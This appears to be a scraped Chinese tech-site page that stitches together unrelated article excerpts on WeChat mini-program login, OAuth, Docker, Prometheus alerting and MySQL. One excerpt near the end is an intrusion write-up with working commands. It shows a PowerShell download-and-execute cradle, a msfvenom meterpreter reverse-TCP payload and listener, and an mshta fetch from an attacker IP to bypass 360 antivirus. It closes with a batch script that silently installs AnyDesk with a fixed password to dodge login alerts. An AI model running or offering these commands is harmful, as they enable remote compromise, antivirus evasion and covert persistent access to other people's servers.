Prometheus+Grafana是监控告警解决方案里的后起之秀，比如大家熟悉的PMM，就是使用了这个方案；前不久罗老师在3306pi公众号上就写过完整的使用教程《构建狂拽炫酷屌的MySQL 监控平台》，所以我们在这里就不再赘述具体如何搭建使用。
同一个用户的这两个 ID 对于同一个小程序来说是永久不变的，就算用户删了小程序，下次用户进入小程序，开发者依旧可以通过后台的记录标识出来。那么如何获取OpenId和UnionId呢？
今天是2022.10.1伟大祖国的73岁生日，我们都坚守在自己的工作岗位上为国庆献礼。
微信小程序的头像昵称新规已经开始逐步实施，一些群友的小程序已经无法登录，借着这次机会和大家好好聊聊小程序的登录问题。
微信的授权登录在日常应用中应用的非常广泛，最多就是第三方登录，最近在搞这方面的例子，做个笔记，方便查阅。
上一篇文章《小程序静默登录方案设计》提到过，小程序可以通过微信官方提供的登录能力方便地获取微信提供的用户身份标识，快速建立小程序内的用户体系。
原因: 它会短暂暂停VM以获取一致性状态. 但这个暂停通常只持续几秒钟, 在大多数情况下，这段时间是足够短的, 不会影响到正在运行的服务. 但还是影响到了keepalived检测mysql状态
每一个有数据交互的小程序，都会涉及到登录、token 等问题，openid 又是什么呢？怎么使用静默续期，来提升用户体验呢？
在我们日常的运维工作中，批量部署软件恐怕是经常遇到的情景，今天分享的是windows域软件分发方式的介绍。
8月6日 消息：近日，腾讯云用户“前沿数控”平台一块操作系统云盘，因受所在物理硬盘固件版本Bug导致的静默错误，文件系统元数据损坏。
可是毕竟广告好不好，还要看疗效，9个9的可靠性，你也永远无法论证你不是那 0.00000001%。
话说，小程序内存在一种敏感数据的加解密机制，这个机制在不同开发接口/组件下有通用的解密方式，然而却具备不尽一样的交互机制，看不懂？没事，先接着往下看。 首先要明确一下什么是敏感数据，小程序内一般把头像、昵称、手机号、群名称、群id、微信运动等信息定义为敏感信息，接下来一一罗列所有敏感数据的获取方式： 一，获取用户头像/昵称数据 众所周知，如Nodes小程序一样，在小程序内要获取用户的头像/昵称数据时，需要经历一个授权阶段，很多人只知道“要授权”这个事情，而这个“授权”前后发生的事情可能不大了解。 事实上，要
OAuth（开放授权）是一个开放标准，允许用户让第三方应用访问该用户在某一网站上存储的私密的资源（如照片，视频，联系人列表），而无需将用户名和密码提供给第三方应用
第一种，常见于电商系统中，用户购买商品的时候，为了识别用户多平台的账号，往往用手机号去做一个联系，这时候需要用户去授权手机号。
告警跟运维工作息息相关，一个好的告警系统不仅能提升运维的效率，还能提升相关人员的工作舒适度及生活质量。相反，如果告警系统比较拉胯，那运维的工作就比较难受了。比如，半夜收到无关痛痒的告警信息，又比如这个告警正在处理还一直在发，再比如同一时间产生很多告警，然后不重要的告警把重要的告警刷走了，等等。
JRE 1.8 与 IntelliJ IDEA 发行版捆绑在一起。您不需要在你的电脑上安装 Java 就可以运行 IntelliJ IDEA。
墨墨导读：MySQL在Docker环境下运行的基础操作，本文从Docker介绍、安装Docker、MySQL安装部署几个方面展开介绍。
Docker 常用命令 镜像仓库 查找镜像 docker search [OPTIONS] TERM OPTIONS说明： --automated :只列出 automated build类型的镜像； --no-trunc :显示完整的镜像描述； -s :列出收藏数不小于指定值的镜像。 拉去镜像 docker pull [OPTIONS] NAME[:TAG|@DIGEST] OPTIONS说明： -a :拉取所有 tagged 镜像 --disable-content-trust :忽略镜像的校验,默认开
常见的数据库有Mysql，Oracle，SQLite，Access，MS SQL Server。
uni-app 是一个使用 Vue.js 开发跨平台应用的前端框架，开发者编写一套代码，可编译到iOS、Android、H5、小程序等多个平台，解决了多个平台，分别需要些多套代码，开发效率低，开发成本高的问题。那么，我们该如何用好呢？
以前，当PHP碰到错误的时候，会直接报错，错误处理会变得相当麻烦。后来，当错误发生之后，会将错误信息不再直接输出，放到一个类的对象里（PDOException）
基站时钟失步会造成大面积干扰，eRAN12.1及以上版本新增基站时钟失步告警，可指导运维人员快速定位失步基站。此指导书指导一线如何处理告警。
大纲： 微信，小程序授权（ openId，unid，用户信息，手机号） 微信支付（H5，公众号，小程序，app） 微信上传图片（H5，公众号，小程序） 支付宝支付（H5，app）
这篇博客就不扯皮了，简单粗暴地贴上自己整理的一份Docker常用命令。 docker search ** // 查找镜像 docker pull nginx // 载入镜像 # -a 拉取所有tagged镜像 # --disable-content-trust 忽略镜像的校验，默认开启 docker create // 创建一个容器但不启动它 run docker run -d -P -it --name mynginx nginx # -t 在新容器内指定一个
在第一步：用户同意授权获取code，通过code获取access_token时，有时会出现40029错误。
随着移动支付的不断普及，手机支付病毒开始逐渐蔓延。手机病毒是如何在不经意之间道歉我们的钱财呢？本期大讲堂将联合腾讯手机管家首发2014年手机支付安全报告，揭开手机病毒的真实面纱. 手机支付类病毒攻击的形式和特征 腾讯移动安全实验室针对目前已发现的82805个手机支付类病毒的特征进行归类统计发现，支付类病毒最大特征是表现为静默联网、删除短信、发送短信、读短信、开机自启动。其中，静默联网比例高达61.09%、位居第一，静默删除短信、静默发送短信、开机自启动、读短信的病毒行为分别占比37.3%与36.51%、30
在我们日常操作中，drop操作应该谨慎一些，可以看到，mysql也友好的给出了提醒。
数栈是云原生—站式数据中台PaaS，我们在github和gitee上有一个有趣的开源项目：FlinkX，FlinkX是一个基于Flink的批流统一的数据同步工具，既可以采集静态的数据，也可以采集实时变化的数据，是全域、异构、批流一体的数据同步引擎。大家喜欢的话请给我们点个star！star！star！
之前我也分享过一篇"ToDesk软件在权限提升中的应用"，记录的是在权限提升场景下的利用方式。
随着人脸识别技术日趋成熟,商业化应用愈加广泛,然而人脸极易用照片、视频等方式进行复制,因此对合法用户人脸的假冒是人脸识别与认证系统安全的重要威胁。目前基于动态视频人脸检测、人脸眨眼、热红外与可见光人脸关联等领先业界的人脸活体检测算法，已经取得了一定的进步。
周知：getUserInfo 开发版和体验版 已对齐 getUserInfo 匿名表现，正式版将于 4月13日 正式对齐 getUserInfo 匿名表现。
PhpStorm 是一个跨平台 IDE，可在 Windows、macOS 和 Linux 操作系统上提供一致的体验。
Grafana 也有自己的告警模块，只需要在页面配置，不需要通过yml文件配置，比Prometheus的的更加顺滑。下图为Grafana告警模块工作原理图：
在系统数据库中已经有了账号密码，或者通过注册渠道生成了账号和密码，此时可以直接通过账号密码登录，只要账号密码正确就认为身份合法，可以换到系统访问的 token，用于后续业务鉴权。
SSO单点登录是指在多个应用系统中，用户只需要登录一次就可以访问所有相互信任的应用系统。
上一篇我们介绍了单点登录（SSO），它能够实现多个系统的统一认证。今天我们来谈一谈近几年来非常流行的，大名鼎鼎的OAuth。它也能完成统一认证，而且还能做更多的事情。至于OAuth与SSO的区别，将在文章最后总结。
Incorrect string value: ‘\xF0\x9F\x98\x83 <…’ for column ‘summary’ at row 1
Oracle 19c目前已经算比较主流的数据库版本了，如果用的是CDB/PDB多租户的模式，无论是直接登录到数据库，还是通过JDBC程序登录到数据库，和传统登录方式，存在一些不同。
tar -zxf jdk-8u221-linux-x64.tar.gz -C /usr/java/
本文章或工具仅供安全研究使用，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，极致攻防实验室及文章作者不为此承担任何责任。
nc命令检查22端口是否开放,返回拒绝,然而如果端口没有开的话应该返回timeout,refused代表sshd进程没起来或者已经挂掉了。
最近一个项目是在微信公众号内二次开发，涉及到微信公众号支付，根据文档要求想要支付就必须要获取到用户的openid。
Amazon Alexa，通常称为“ Alexa”，是由Amazon开发的AI虚拟助手，能够进行语音交互，音乐播放，设置警报和其他任务，可作为家庭自动化系统智能控制设备。预计到2020年底会售出超过2亿个支持Alexa的设备。
背景 ✦✦01✦✦ 小程序一个比较重要的能力就是获取用户信息，也就是使用 wx.getUserInfo 接口。我们发现几乎所有的小程序都会调用这个接口。虽然我们在设计文档上有提出最好的设计是在真正要用户信息的情况下才去获取用户信息，不过很多开发者并没有按照我们的期望去做，导致用户在使用的时候有很多困扰。 归结起来有几点： 开发者在首页直接调用 wx.getUserInfo 进行授权，弹框有会使得一部分用户放弃小程序的使用。 开发者没有处理用户拒绝弹框的情况，有部分小程序强制要求用户授权头像昵称等信息才能继
翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件，存储着这个定位服务平台的相关配置信息，包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡，公网：47.**.***.77，内网：10.28.176.131，两个内网DNS服务器：10.143.22.116、10.143.22.118，并且可以与外网进行通讯。 0x04 绕过主动防御上线 测试了以前常用的Powershell混淆法，不过已经被360主动防御拦了，微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性，一旦被公布被查杀和拦截也正常（早晚的事）。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了，最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话，执行getsystem即可提升为SYSTEM，执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注：mshta白名单貌似只能用x86的Payload，执行成功后会自动迁移至32位的rundll32.exe进程，所以就可能会出现由werfaylt.exe弹出的下图报错，所以个人建议在得到Session后迁移至x64进程，并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒 虽然已经是最高权限了，但由于这台主机为阿里云，且存在360主动防御，就不添加用户进行远程桌面连接了，因为360会拦截添加用户，而且远程桌面连接时会触发异地登录提醒。 为避免触发异地登录提醒，我们可以利用AnyDesk来进行绕过，将AnyDesk.exe和静默安装批处理文件上传至可读写目录中，然后在命令行下执行该批处理文件获取连接ID。 注：如果等待时间过长，一直卡着不动获取不到连接ID时可结束当前命令行，重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面，成功的绕过了阿里云主机的异地登录提醒。 至此，全文结束，内网就不搞了！！！
本篇文章是在做ctf bugku的一道sql 盲注的题（题目地址:注入题目）中运用了fuzz的思路，完整记录整个fuzz的过程，给师傅们当点心，方便大家加深对web sql注入 fuzz的理解。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
